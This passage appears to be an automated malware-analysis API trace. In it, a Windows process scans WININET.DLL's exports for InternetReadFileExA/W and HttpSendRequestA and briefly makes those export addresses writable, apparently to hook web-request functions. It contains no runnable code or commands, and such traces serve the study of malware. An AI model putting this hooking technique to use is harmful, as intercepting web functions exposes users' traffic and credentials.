(lpString1="GopherFindFirstFileA", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="GopherFindFirstFileW", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="GopherGetAttributeA", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="GopherGetAttributeW", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="GopherGetLocatorTypeA", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="GopherGetLocatorTypeW", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="GopherOpenFileA", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="GopherOpenFileW", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="HttpAddRequestHeadersA", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="HttpAddRequestHeadersW", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="HttpCheckDavCompliance", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="HttpEndRequestA", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="HttpEndRequestW", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="HttpOpenRequestA", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="HttpOpenRequestW", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="HttpQueryInfoA", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="HttpQueryInfoW", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="HttpSendRequestA", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="HttpSendRequestExA", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="HttpSendRequestExW", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="HttpSendRequestW", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="IncrementUrlCacheHeaderData", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="InternetAlgIdToStringA", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="InternetAlgIdToStringW", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="InternetAttemptConnect", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="InternetAutodial", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="InternetAutodialCallback", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="InternetAutodialHangup", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="InternetCanonicalizeUrlA", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="InternetCanonicalizeUrlW", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="InternetCheckConnectionA", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="InternetCheckConnectionW", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetClearAllPerSiteCookieDecisions", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetCloseHandle", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetCombineUrlA", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetCombineUrlW", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetConfirmZoneCrossing", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetConfirmZoneCrossingA", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetConfirmZoneCrossingW", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetConnectA", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetConnectW", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetCrackUrlA", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetCrackUrlW", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetCreateUrlA", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetCreateUrlW", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetDial", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetDialA", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetDialW", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetEnumPerSiteCookieDecisionA", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetEnumPerSiteCookieDecisionW", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetErrorDlg", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetFindNextFileA", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetFindNextFileW", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetFortezzaCommand", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetGetCertByURL", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetGetCertByURLA", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetGetConnectedState", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetGetConnectedStateEx", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetGetConnectedStateExA", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetGetConnectedStateExW", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetGetCookieA", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetGetCookieExA", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetGetCookieExW", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetGetCookieW", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetGetLastResponseInfoA", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetGetLastResponseInfoW", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetGetPerSiteCookieDecisionA", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetGetPerSiteCookieDecisionW", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetGetSecurityInfoByURL", lpString2="InternetReadFileExA") returned -1 [0073.497] lstrcmpA (lpString1="InternetGetSecurityInfoByURLA", lpString2="InternetReadFileExA") returned -1 [0073.498] lstrcmpA (lpString1="InternetGetSecurityInfoByURLW", lpString2="InternetReadFileExA") returned -1 [0073.498] lstrcmpA (lpString1="InternetGoOnline", lpString2="InternetReadFileExA") returned -1 [0073.498] lstrcmpA (lpString1="InternetGoOnlineA", lpString2="InternetReadFileExA") returned -1 [0073.498] lstrcmpA (lpString1="InternetGoOnlineW", lpString2="InternetReadFileExA") returned -1 [0073.498] lstrcmpA (lpString1="InternetHangUp", lpString2="InternetReadFileExA") returned -1 [0073.498] lstrcmpA (lpString1="InternetInitializeAutoProxyDll", lpString2="InternetReadFileExA") returned -1 [0073.498] lstrcmpA (lpString1="InternetLockRequestFile", lpString2="InternetReadFileExA") returned -1 [0073.498] lstrcmpA (lpString1="InternetOpenA", lpString2="InternetReadFileExA") returned -1 [0073.498] lstrcmpA (lpString1="InternetOpenUrlA", lpString2="InternetReadFileExA") returned -1 [0073.498] lstrcmpA (lpString1="InternetOpenUrlW", lpString2="InternetReadFileExA") returned -1 [0073.498] lstrcmpA (lpString1="InternetOpenW", lpString2="InternetReadFileExA") returned -1 [0073.498] lstrcmpA (lpString1="InternetQueryDataAvailable", lpString2="InternetReadFileExA") returned -1 [0073.498] lstrcmpA (lpString1="InternetQueryFortezzaStatus", lpString2="InternetReadFileExA") returned -1 [0073.498] lstrcmpA (lpString1="InternetQueryOptionA", lpString2="InternetReadFileExA") returned -1 [0073.498] lstrcmpA (lpString1="InternetQueryOptionW", lpString2="InternetReadFileExA") returned -1 [0073.498] lstrcmpA (lpString1="InternetReadFile", lpString2="InternetReadFileExA") returned -1 [0073.498] lstrcmpA (lpString1="InternetReadFileExA", lpString2="InternetReadFileExA") returned 0 [0073.498] VirtualProtect (in: lpAddress=0x768e2a94, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fc6c | out: lpflOldProtect=0x26fc6c*=0x20) returned 1 [0073.498] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xc) returned 0x27889f8 [0073.498] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xc) returned 0x278f4a8 [0073.498] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889f8 | out: hHeap=0x2390000) returned 1 [0073.498] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f4a8 | out: hHeap=0x2390000) returned 1 [0073.498] VirtualProtect (in: lpAddress=0x7699860a, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x26fca0 | out: lpflOldProtect=0x26fca0*=0x20) returned 1 [0073.499] VirtualProtect (in: lpAddress=0x7699860a, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x26fca0 | out: lpflOldProtect=0x26fca0*=0x40) returned 1 [0073.499] VirtualProtect (in: lpAddress=0x768e2a94, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x26fc6c | out: lpflOldProtect=0x26fc6c*=0x40) returned 1 [0073.499] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc38, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc38, ReturnLength=0x0) returned 0x0 [0073.499] GetModuleHandleA (lpModuleName="WININET.DLL") returned 0x768e0000 [0073.499] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e9c0 [0073.500] lstrcmpA (lpString1="CommitUrlCacheEntryA", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="CommitUrlCacheEntryW", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="CreateMD5SSOHash", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="CreateUrlCacheContainerA", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="CreateUrlCacheContainerW", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="CreateUrlCacheEntryA", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="CreateUrlCacheEntryW", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="CreateUrlCacheGroup", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="DeleteIE3Cache", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="DeleteUrlCacheContainerA", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="DeleteUrlCacheContainerW", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="DeleteUrlCacheEntry", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="DeleteUrlCacheEntryA", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="DeleteUrlCacheEntryW", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="DeleteUrlCacheGroup", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="DeleteWpadCacheForNetworks", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="DetectAutoProxyUrl", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="DispatchAPICall", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="DllInstall", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="FindCloseUrlCache", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="FindFirstUrlCacheContainerA", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="FindFirstUrlCacheContainerW", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="FindFirstUrlCacheEntryA", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="FindFirstUrlCacheEntryExA", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="FindFirstUrlCacheEntryExW", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="FindFirstUrlCacheEntryW", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="FindFirstUrlCacheGroup", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="FindNextUrlCacheContainerA", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="FindNextUrlCacheContainerW", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="FindNextUrlCacheEntryA", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="FindNextUrlCacheEntryExA", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="FindNextUrlCacheEntryExW", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="FindNextUrlCacheEntryW", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="FindNextUrlCacheGroup", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="ForceNexusLookup", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="ForceNexusLookupExW", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="FreeUrlCacheSpaceA", lpString2="InternetReadFileExW") returned -1 [0073.500] lstrcmpA (lpString1="FreeUrlCacheSpaceW", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="FtpCommandA", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="FtpCommandW", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="FtpCreateDirectoryA", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="FtpCreateDirectoryW", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="FtpDeleteFileA", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="FtpDeleteFileW", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="FtpFindFirstFileA", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="FtpFindFirstFileW", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="FtpGetCurrentDirectoryA", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="FtpGetCurrentDirectoryW", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="FtpGetFileA", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="FtpGetFileEx", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="FtpGetFileSize", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="FtpGetFileW", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="FtpOpenFileA", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="FtpOpenFileW", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="FtpPutFileA", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="FtpPutFileEx", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="FtpPutFileW", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="FtpRemoveDirectoryA", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="FtpRemoveDirectoryW", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="FtpRenameFileA", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="FtpRenameFileW", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="FtpSetCurrentDirectoryA", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="FtpSetCurrentDirectoryW", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="GetUrlCacheConfigInfoA", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="GetUrlCacheConfigInfoW", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="GetUrlCacheEntryInfoA", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="GetUrlCacheEntryInfoExA", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="GetUrlCacheEntryInfoExW", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="GetUrlCacheEntryInfoW", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="GetUrlCacheGroupAttributeA", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="GetUrlCacheGroupAttributeW", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="GetUrlCacheHeaderData", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="GopherCreateLocatorA", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="GopherCreateLocatorW", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="GopherFindFirstFileA", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="GopherFindFirstFileW", lpString2="InternetReadFileExW") returned -1 [0073.501] lstrcmpA (lpString1="GopherGetAttributeA", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="GopherGetAttributeW", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="GopherGetLocatorTypeA", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="GopherGetLocatorTypeW", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="GopherOpenFileA", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="GopherOpenFileW", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="HttpAddRequestHeadersA", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="HttpAddRequestHeadersW", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="HttpCheckDavCompliance", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="HttpEndRequestA", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="HttpEndRequestW", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="HttpOpenRequestA", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="HttpOpenRequestW", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="HttpQueryInfoA", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="HttpQueryInfoW", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="HttpSendRequestA", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="HttpSendRequestExA", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="HttpSendRequestExW", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="HttpSendRequestW", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="IncrementUrlCacheHeaderData", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="InternetAlgIdToStringA", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="InternetAlgIdToStringW", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="InternetAttemptConnect", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="InternetAutodial", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="InternetAutodialCallback", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="InternetAutodialHangup", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="InternetCanonicalizeUrlA", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="InternetCanonicalizeUrlW", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="InternetCheckConnectionA", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="InternetCheckConnectionW", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="InternetClearAllPerSiteCookieDecisions", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="InternetCloseHandle", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="InternetCombineUrlA", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="InternetCombineUrlW", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="InternetConfirmZoneCrossing", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="InternetConfirmZoneCrossingA", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="InternetConfirmZoneCrossingW", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="InternetConnectA", lpString2="InternetReadFileExW") returned -1 [0073.502] lstrcmpA (lpString1="InternetConnectW", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetCrackUrlA", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetCrackUrlW", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetCreateUrlA", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetCreateUrlW", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetDial", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetDialA", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetDialW", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetEnumPerSiteCookieDecisionA", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetEnumPerSiteCookieDecisionW", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetErrorDlg", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetFindNextFileA", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetFindNextFileW", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetFortezzaCommand", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetGetCertByURL", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetGetCertByURLA", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetGetConnectedState", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetGetConnectedStateEx", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetGetConnectedStateExA", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetGetConnectedStateExW", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetGetCookieA", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetGetCookieExA", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetGetCookieExW", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetGetCookieW", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetGetLastResponseInfoA", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetGetLastResponseInfoW", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetGetPerSiteCookieDecisionA", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetGetPerSiteCookieDecisionW", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetGetSecurityInfoByURL", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetGetSecurityInfoByURLA", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetGetSecurityInfoByURLW", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetGoOnline", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetGoOnlineA", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetGoOnlineW", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetHangUp", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetInitializeAutoProxyDll", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetLockRequestFile", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetOpenA", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetOpenUrlA", lpString2="InternetReadFileExW") returned -1 [0073.503] lstrcmpA (lpString1="InternetOpenUrlW", lpString2="InternetReadFileExW") returned -1 [0073.504] lstrcmpA (lpString1="InternetOpenW", lpString2="InternetReadFileExW") returned -1 [0073.504] lstrcmpA (lpString1="InternetQueryDataAvailable", lpString2="InternetReadFileExW") returned -1 [0073.504] lstrcmpA (lpString1="InternetQueryFortezzaStatus", lpString2="InternetReadFileExW") returned -1 [0073.504] lstrcmpA (lpString1="InternetQueryOptionA", lpString2="InternetReadFileExW") returned -1 [0073.504] lstrcmpA (lpString1="InternetQueryOptionW", lpString2="InternetReadFileExW") returned -1 [0073.504] lstrcmpA (lpString1="InternetReadFile", lpString2="InternetReadFileExW") returned -1 [0073.504] lstrcmpA (lpString1="InternetReadFileExA", lpString2="InternetReadFileExW") returned -1 [0073.504] lstrcmpA (lpString1="InternetReadFileExW", lpString2="InternetReadFileExW") returned 0 [0073.504] VirtualProtect (in: lpAddress=0x768e2a98, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fc6c | out: lpflOldProtect=0x26fc6c*=0x20) returned 1 [0073.504] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xc) returned 0x27889f8 [0073.504] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xc) returned 0x278f4a8 [0073.504] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889f8 | out: hHeap=0x2390000) returned 1 [0073.504] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f4a8 | out: hHeap=0x2390000) returned 1 [0073.504] VirtualProtect (in: lpAddress=0x7699860f, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x26fca0 | out: lpflOldProtect=0x26fca0*=0x20) returned 1 [0073.504] VirtualProtect (in: lpAddress=0x7699860f, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x26fca0 | out: lpflOldProtect=0x26fca0*=0x40) returned 1 [0073.505] VirtualProtect (in: lpAddress=0x768e2a98, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x26fc6c | out: lpflOldProtect=0x26fc6c*=0x40) returned 1 [0073.505] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc38, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc38, ReturnLength=0x0) returned 0x0 [0073.505] GetModuleHandleA (lpModuleName="WININET.DLL") returned 0x768e0000 [0073.505] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e9f8 [0073.505] lstrcmpA (lpString1="CommitUrlCacheEntryA", lpString2="HttpSendRequestA") returned -1 [0073.505] lstrcmpA (lpString1="CommitUrlCacheEntryW", lpString2="HttpSendRequestA") returned -1 [0073.505] lstrcmpA (lpString1="CreateMD5SSOHash", lpString2="HttpSendRequestA") returned -1 [0073.505] lstrcmpA (lpString1="CreateUrlCacheContainerA", lpString2="HttpSendRequestA") returned -1 [0073.505] lstrcmpA (lpString1="CreateUrlCacheContainerW", lpString2="HttpSendRequestA") returned -1 [0073.505] lstrcmpA (lpString1="CreateUrlCacheEntryA", lpString2="HttpSendRequestA") returned -1 [0073.505] lstrcmpA (lpString1="CreateUrlCacheEntryW", lpString2="HttpSendRequestA") returned -1 [0073.505] lstrcmpA (lpString1="CreateUrlCacheGroup", lpString2="HttpSendRequestA") returned -1 [0073.506] lstrcmpA (lpString1="DeleteIE3Cache", lpString2="HttpSendRequestA") returned -1 [0073.506] lstrcmpA (lpString1="DeleteUrlCacheContainerA", 